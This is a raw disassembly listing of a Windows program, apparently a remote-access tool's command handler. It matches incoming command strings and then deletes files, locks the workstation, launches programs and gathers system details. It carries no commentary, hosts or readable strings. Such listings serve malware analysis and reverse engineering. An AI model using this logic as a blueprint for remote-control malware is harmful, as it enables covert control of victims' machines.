mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x848]
mov edx, 0x48dcd4
call fcn.00405850
jne 0x488453
lea eax, [ebp - 4]
mov ecx, 0xa
mov edx, 1
call fcn.00405960
call fcn.00466a24
cmp al, 1
jne 0x488453
mov eax, dword [ebp - 4]
call fcn.004670cc
lea eax, [ebp - 0x84c]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x84c]
mov edx, 0x48dce8
call fcn.00405850
jne 0x4884a1
lea eax, [ebp - 4]
mov ecx, 0xa
mov edx, 1
call fcn.00405960
call fcn.00466a24
cmp al, 1
jne 0x4884a1
mov eax, dword [ebp - 4]
call fcn.00466cc4
lea eax, [ebp - 0x850]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x850]
mov edx, 0x48dcfc
call fcn.00405850
jne 0x4884ef
lea eax, [ebp - 4]
mov ecx, 0xc
mov edx, 1
call fcn.00405960
call fcn.00466a24
cmp al, 1
jne 0x4884ef
mov eax, dword [ebp - 4]
call fcn.00467218
lea eax, [ebp - 0x854]
push eax
mov ecx, 0xe
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x854]
mov edx, 0x48dd14
call fcn.00405850
jne 0x48853d
lea eax, [ebp - 4]
mov ecx, 0xe
mov edx, 1
call fcn.00405960
call fcn.00466a24
cmp al, 1
jne 0x48853d
mov eax, dword [ebp - 4]
call fcn.00467364
lea eax, [ebp - 0x858]
push eax
mov ecx, 0x15
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x858]
mov edx, 0x48dd2c
call fcn.00405850
jne 0x4885cf
lea eax, [ebp - 4]
mov ecx, 0x15
mov edx, 1
call fcn.00405960
mov dword [0x4a8830], 1
push 0x4a8874
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
mov eax, 0x4a8878
mov edx, dword [ebp - 4]
call fcn.0040547c
mov eax, dword [ebp - 4]
mov edx, 0x48dd4c
call fcn.00405850
jne 0x4885e5
xor eax, eax
mov dword [0x4a8830], eax
mov eax, dword [ebp - 4]
mov edx, 0x48dd6c
call fcn.00405850
jne 0x488607
cmp dword [0x4a8834], 1
jne 0x488607
mov eax, 0x48dd7c
call fcn.00482cc8
mov eax, dword [ebp - 4]
mov edx, 0x48dd90
call fcn.00405850
jne 0x488640
cmp dword [0x4a8834], 1
je 0x488640
push 0x4a881c
push 0
push 0
push 0x4907f0
push 0
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x4a8834], 1
mov eax, dword [ebp - 4]
mov edx, 0x48ddb0
call fcn.00405850
jne 0x488656
xor eax, eax
mov dword [0x4a8834], eax
mov eax, dword [ebp - 4]
mov edx, 0x48ddd4
call fcn.00405850
jne 0x48866f
mov dword [0x4a8830], 1
mov eax, dword [ebp - 4]
mov edx, 0x48ddf4
call fcn.00405850
jne 0x488685
xor eax, eax
mov dword [0x4a8830], eax
lea eax, [ebp - 0x85c]
push eax
mov ecx, 0xe
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x85c]
mov edx, 0x48de18
call fcn.00405850
jne 0x48882c
lea eax, [ebp - 4]
mov ecx, 0xe
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x488818
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x860]
call fcn.00463964
lea eax, [ebp - 0x860]
mov edx, 0x48de30
call fcn.004056f4
mov eax, dword [ebp - 0x860]
call fcn.0040a1d0
test al, al
jne 0x488713
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48c9a3
lea eax, [ebp - 0x1c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x20]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x24]
mov edx, dword [ebp - 4]
call fcn.004054c0
push 0x14
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov ebx, eax
mov esi, ebx
lea eax, [ebp - 0x864]
call fcn.00463964
mov edx, dword [ebp - 0x864]
mov eax, esi
mov ecx, 0x48de30
call fcn.00405740
lea eax, [esi + 4]
mov edx, dword [ebp - 0x1c]
call fcn.0040547c
lea eax, [esi + 8]
mov edx, dword [ebp - 0x20]
call fcn.0040547c
lea eax, [esi + 0xc]
mov edx, dword [ebp - 0x24]
call fcn.0040547c
lea eax, [esi + 0x10]
mov edx, 0x48cd74
call fcn.0040547c
lea eax, [ebp - 0x2b0]
push eax
push 0
push ebx
push 0x492b0c
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48882c
mov eax, dword [ebp - 4]
mov edx, 0x48de70
call fcn.00405850
jne 0x4888cf
xor eax, eax
push ebp
push 0x4888c5
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x868]
call fcn.00463964
lea eax, [ebp - 0x868]
mov edx, 0x48de30
call fcn.004056f4
mov eax, dword [ebp - 0x868]
call fcn.0040a1d0
test al, al
je 0x4888bb
lea eax, [ebp - 0x86c]
call fcn.00463964
lea eax, [ebp - 0x86c]
mov edx, 0x48de30
call fcn.004056f4
mov eax, dword [ebp - 0x86c]
mov dword [ebp - 0x35c], eax
mov eax, dword [ebp - 0x35c]
call fcn.004058b8
push eax
call sub.kernel32.dll_DeleteFileA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x35d], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4888cf
mov eax, dword [ebp - 4]
mov edx, 0x48de8c
call fcn.00405850
jne 0x4888e8
mov eax, 0x11
call fcn.0049a138
mov eax, dword [ebp - 4]
mov edx, 0x48dea0
call fcn.00405850
jne 0x488901
mov eax, 0x12
call fcn.0049a138
mov eax, dword [ebp - 4]
mov edx, 0x48deb4
call fcn.00405850
jne 0x48891a
mov eax, 0x10
call fcn.0049a138
mov eax, dword [ebp - 4]
mov edx, 0x48dec8
call fcn.00405850
jne 0x488933
mov eax, 0x18
call fcn.0049a138
mov eax, dword [ebp - 4]
mov edx, 0x48dedc
call fcn.00405850
jne 0x488955
push 0
push 0xf140
push 0x112
push 0
call sub.user32.dll_SendMessageA
mov eax, dword [ebp - 4]
mov edx, 0x48def0
call fcn.00405850
jne 0x488969
call sub.user32.dll_LockWorkStation
lea eax, [ebp - 0x870]
push eax
mov ecx, 0x11
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x870]
mov edx, 0x48df04
call fcn.00405850
jne 0x488bb2
lea eax, [ebp - 4]
mov ecx, 0x11
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x488ba8
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4a8838
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
push 0x4a883c
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
push 0x4a8840
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
push 0x4a8844
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
push 0x4a8848
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x20]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 4]
call fcn.004054c0
mov eax, dword [ebp - 0x20]
mov edx, 0x48d340
call fcn.00405850
jne 0x488b4e
mov byte [0x4a8858], 1
jmp 0x488b55
mov byte [0x4a8858], 0
push 8
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov ebx, eax
mov dword [ebp - 0x2fc], ebx
mov eax, dword [ebp - 0x1c]
call fcn.00409e40
mov edx, dword [ebp - 0x2fc]
mov dword [edx + 4], eax
mov eax, dword [ebp - 0x2fc]
mov byte [eax], 1
lea eax, [ebp - 0x2b0]
push eax
push 0
push ebx
push 0x498410
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x488bb2
lea eax, [ebp - 0x874]
push eax
mov ecx, 0xe
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x874]
mov edx, 0x48df20
call fcn.00405850
jne 0x488dfb
lea eax, [ebp - 4]
mov ecx, 0xe
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x488df1
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4a8838
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
push 0x4a883c
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
push 0x4a8840
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
push 0x4a8844
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
push 0x4a8848
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x20]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 4]
call fcn.004054c0
mov eax, dword [ebp - 0x20]
mov edx, 0x48d340
call fcn.00405850
jne 0x488d97
mov byte [0x4a8858], 1
jmp 0x488d9e
mov byte [0x4a8858], 0
push 8
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov ebx, eax
mov dword [ebp - 0x300], ebx
mov eax, dword [ebp - 0x1c]
call fcn.00409e40
mov edx, dword [ebp - 0x300]
mov dword [edx + 4], eax
mov eax, dword [ebp - 0x300]
mov byte [eax], 0
lea eax, [ebp - 0x2b0]
push eax
push 0
push ebx
push 0x498410
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x488dfb
lea eax, [ebp - 0x878]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x878]
mov edx, 0x48df38
call fcn.00405850
jne 0x489135
lea eax, [ebp - 4]
mov ecx, 0xb
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x20]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x24]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x28]
mov edx, dword [ebp - 4]
call fcn.004054c0
lea eax, [ebp - 0x87c]
mov edx, dword [0x4a880c]
call fcn.00405620
push dword [ebp - 0x87c]
push 0x48d2c4
lea edx, [ebp - 0x880]
movzx eax, word [0x4a8810]
call fcn.00409cd4
push dword [ebp - 0x880]
push 0x48d2c4
lea eax, [ebp - 0x884]
call fcn.00499914
push dword [ebp - 0x884]
push 0x48d2c4
lea eax, [ebp - 0x888]
call fcn.00498f58
push dword [ebp - 0x888]
push 0x48cff4
lea eax, [ebp - 0x88c]
call fcn.00498f1c
push dword [ebp - 0x88c]
push 0x48d2c4
lea eax, [ebp - 0x890]
call fcn.00499634
push dword [ebp - 0x890]
push 0x48d2c4
lea eax, [ebp - 0x894]
call fcn.00463764
push dword [ebp - 0x894]
push 0x48d2c4
push 0x48df4c
push 0x48d2c4
lea eax, [ebp - 0x898]
call fcn.00498ffc
push dword [ebp - 0x898]
push 0x48d2c4
lea eax, [ebp - 0x89c]
call fcn.00499288
push dword [ebp - 0x89c]
push 0x48d2c4
lea eax, [ebp - 0x8a0]
call fcn.00499338
push dword [ebp - 0x8a0]
push 0x48d2c4
lea eax, [ebp - 0x8a4]
call fcn.004993e4
push dword [ebp - 0x8a4]
push 0x48d2c4
lea eax, [ebp - 0x8a8]
call fcn.0049956c
push dword [ebp - 0x8a8]
push 0x48d2c4
lea eax, [ebp - 0x8ac]
call fcn.00499944
push dword [ebp - 0x8ac]
push 0x48d2c4
lea eax, [ebp - 0x8b0]
call fcn.00499974
push dword [ebp - 0x8b0]
push 0x48d2c4
lea eax, [ebp - 0x8b4]
call fcn.00499c60
push dword [ebp - 0x8b4]
push 0x48d2c4
lea eax, [ebp - 0x8bc]
call fcn.00463cf0
mov eax, dword [ebp - 0x8bc]
lea edx, [ebp - 0x8b8]
call fcn.00499cf8
push dword [ebp - 0x8b8]
push 0x48d2c4
lea edx, [ebp - 0x8c0]
xor eax, eax
call fcn.0040f194
push dword [ebp - 0x8c0]
push 0x48d2c4
push dword [0x4a8898]
push 0x48d2c4
push dword [0x4a8944]
push 0x48d2c4
lea edx, [ebp - 0x8c4]
mov eax, dword [0x4a88bc]
call fcn.0049c59c
push dword [ebp - 0x8c4]
push 0x48d2c4
lea eax, [ebp - 0x8c8]
call fcn.0049c62c
push dword [ebp - 0x8c8]
lea eax, [ebp - 0x1c]
mov edx, 0x2b
call fcn.004057bc
push 0x14
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov ebx, eax
mov eax, ebx
mov dword [ebp - 0x304], eax
mov eax, dword [ebp - 0x304]
mov edx, dword [ebp - 0x1c]
call fcn.0040547c
mov eax, dword [ebp - 0x304]
add eax, 4
mov edx, dword [ebp - 0x20]
call fcn.0040547c
mov eax, dword [ebp - 0x304]
add eax, 8
mov edx, dword [ebp - 0x24]
call fcn.0040547c
mov eax, dword [ebp - 0x304]
add eax, 0xc
mov edx, dword [ebp - 0x28]
call fcn.0040547c
mov eax, dword [ebp - 0x304]
add eax, 0x10
mov edx, 0x48cd74
call fcn.0040547c
lea eax, [ebp - 0x2b0]
push eax
push 0
push ebx
push 0x494f08
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle_1
lea eax, [ebp - 0x8cc]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x8cc]
mov edx, 0x48df58
call fcn.00405850
jne 0x48918d
lea eax, [ebp - 4]
mov ecx, 0xb
mov edx, 1
call fcn.00405960
push 5
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.004058b8
push eax
push 0x48ccfc
push 0
call sub.shell32.dll_ShellExecuteA
lea eax, [ebp - 0x8d0]
push eax
mov ecx, 0x11
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x8d0]
mov edx, 0x48df6c
call fcn.00405850
jne 0x48941b
lea eax, [ebp - 4]
mov ecx, 0x11
mov edx, 1
call fcn.00405960
xor edx, edx
push ebp
push 0x489411
push dword fs:[edx]
mov dword fs:[edx], esp
lea eax, [ebp - 0x110]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48db6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48db6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x114]
mov edx, dword [ebp - 4]
call fcn.004054c0
mov eax, dword [ebp - 0x114]
call fcn.00409e40
mov ebx, eax
dec ebx
test ebx, ebx
jb 0x489407
inc ebx
lea eax, [ebp - 0x118]
push eax
mov edx, dword [ebp - 0x110]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x110]
call fcn.00405920
mov edx, dword [ebp - 0x110]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 0x110]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x100]
push eax
mov edx, dword [ebp - 0x118]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x118]
call fcn.00405920
mov edx, dword [ebp - 0x118]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 0x118]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x104]
push eax
mov edx, dword [ebp - 0x118]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x118]
call fcn.00405920
mov edx, dword [ebp - 0x118]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 0x118]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x108]
push eax
mov edx, dword [ebp - 0x118]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x118]
call fcn.00405920
mov edx, dword [ebp - 0x118]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 0x118]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x10c]
mov edx, dword [ebp - 0x118]
call fcn.004054c0
push 0x10
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov esi, eax
mov eax, esi
mov dword [ebp - 0x308], eax
mov eax, dword [ebp - 0x308]
mov edx, dword [ebp - 0x100]
call fcn.0040547c
mov eax, dword [ebp - 0x308]
add eax, 4
mov edx, dword [ebp - 0x104]
call fcn.0040547c
mov eax, dword [ebp - 0x308]
add eax, 8
mov edx, dword [ebp - 0x108]
call fcn.0040547c
mov eax, dword [ebp - 0x308]
add eax, 0xc
mov edx, dword [ebp - 0x10c]
call fcn.0040547c
lea eax, [ebp - 0x2d8]
push eax
push 0
push esi
push 0x48299c
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle_1
dec ebx
jne 0x489241
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48941b
lea eax, [ebp - 0x8d4]
push eax
mov ecx, 0xd
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x8d4]
mov edx, 0x48df88
call fcn.00405850
jne 0x489548
lea eax, [ebp - 4]
mov ecx, 0xd
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x48953e
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x100]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x104]
mov edx, dword [ebp - 4]
call fcn.004054c0
push 0x10
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov esi, eax
mov eax, esi
mov dword [ebp - 0x30c], eax
mov eax, dword [ebp - 0x30c]
mov edx, dword [ebp - 0x100]
call fcn.0040547c
mov eax, dword [ebp - 0x30c]
add eax, 4
mov edx, dword [ebp - 0x104]
call fcn.0040547c
mov eax, dword [ebp - 0x30c]
add eax, 8
mov edx, 0x48cc3c
call fcn.0040547c
mov eax, dword [ebp - 0x30c]
add eax, 0xc
mov edx, 0x48cd74
call fcn.0040547c
lea eax, [ebp - 0x2d8]
push eax
push 0
push esi
push 0x48299c
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x489548
lea eax, [ebp - 0x8d8]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x8d8]
mov edx, 0x48dfa0
call fcn.00405850
jne 0x48970b
lea eax, [ebp - 4]
mov ecx, 0xa
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x1c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x20]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x24]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x28]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x2c]
mov edx, dword [ebp - 4]
call fcn.004054c0
push 0x14
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov ebx, eax
mov eax, ebx
mov dword [ebp - 0x310], eax
mov eax, dword [ebp - 0x310]
mov edx, dword [ebp - 0x1c]
call fcn.0040547c
mov eax, dword [ebp - 0x310]
add eax, 4
mov edx, dword [ebp - 0x20]
call fcn.0040547c
mov eax, dword [ebp - 0x310]
add eax, 8
mov edx, dword [ebp - 0x24]
call fcn.0040547c
mov eax, dword [ebp - 0x310]
add eax, 0xc
mov edx, dword [ebp - 0x28]
call fcn.0040547c
mov eax, dword [ebp - 0x310]
add eax, 0x10
mov edx, dword [ebp - 0x2c]
call fcn.0040547c
lea eax, [ebp - 0x2b0]
push eax
push 0
push ebx
push 0x4972d0
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle_1
lea eax, [ebp - 0x8dc]
push eax
mov ecx, 9
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x8dc]
mov edx, 0x48dfb4
call fcn.00405850
jne 0x4897d0
lea eax, [ebp - 4]
mov ecx, 9
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x4897c6
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x8e0]
call fcn.00463964
lea eax, [ebp - 0x8e0]
mov edx, 0x48dfc8
call fcn.004056f4
mov edx, dword [ebp - 0x8e0]
mov eax, dword [ebp - 4]
call fcn.0049ad74
push 0
push 0
push 0
lea eax, [ebp - 0x8e4]
call fcn.00463964
lea eax, [ebp - 0x8e4]
mov edx, 0x48dfc8
call fcn.004056f4
mov eax, dword [ebp - 0x8e4]
call fcn.004058b8
push eax
push 0x48dfd8
push 0
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4897d0
mov eax, dword [ebp - 4]
mov edx, 0x48dfe8
call fcn.00405850
jne 0x489885
xor eax, eax
push ebp
push 0x48987b
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x8e8]
call fcn.0047af38
cmp dword [ebp - 0x8e8], 0
je 0x489831
lea eax, [ebp - 0x8f0]
call fcn.0047af38
mov ecx, dword [ebp - 0x8f0]
lea eax, [ebp - 0x8ec]
mov edx, 0x48e004
call fcn.00405740
mov eax, dword [ebp - 0x8ec]
call fcn.00482cc8
lea eax, [ebp - 0x8f4]
call fcn.0047af64
cmp dword [ebp - 0x8f4], 0
je 0x489871
lea eax, [ebp - 0x8fc]
call fcn.0047af64
mov ecx, dword [ebp - 0x8fc]
lea eax, [ebp - 0x8f8]
mov edx, 0x48e018
call fcn.00405740
mov eax, dword [ebp - 0x8f8]
call fcn.00482cc8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x489885
mov eax, dword [ebp - 4]
mov edx, 0x48e02c
call fcn.00405850
jne 0x4898c0
lea eax, [ebp - 0x904]
call fcn.0047af38
mov ecx, dword [ebp - 0x904]
lea eax, [ebp - 0x900]
mov edx, 0x48e048
call fcn.00405740
mov eax, dword [ebp - 0x900]
call fcn.00482cc8
lea eax, [ebp - 0x908]
push eax
mov ecx, 9
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x908]
mov edx, 0x48e05c
call fcn.00405850
jne 0x48995b
lea eax, [ebp - 4]
mov ecx, 9
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x489951
push dword fs:[eax]
mov dword fs:[eax], esp
movzx eax, byte [0x48e068]
push eax
lea eax, [ebp - 0x90c]
push eax
mov ecx, 0x48e074
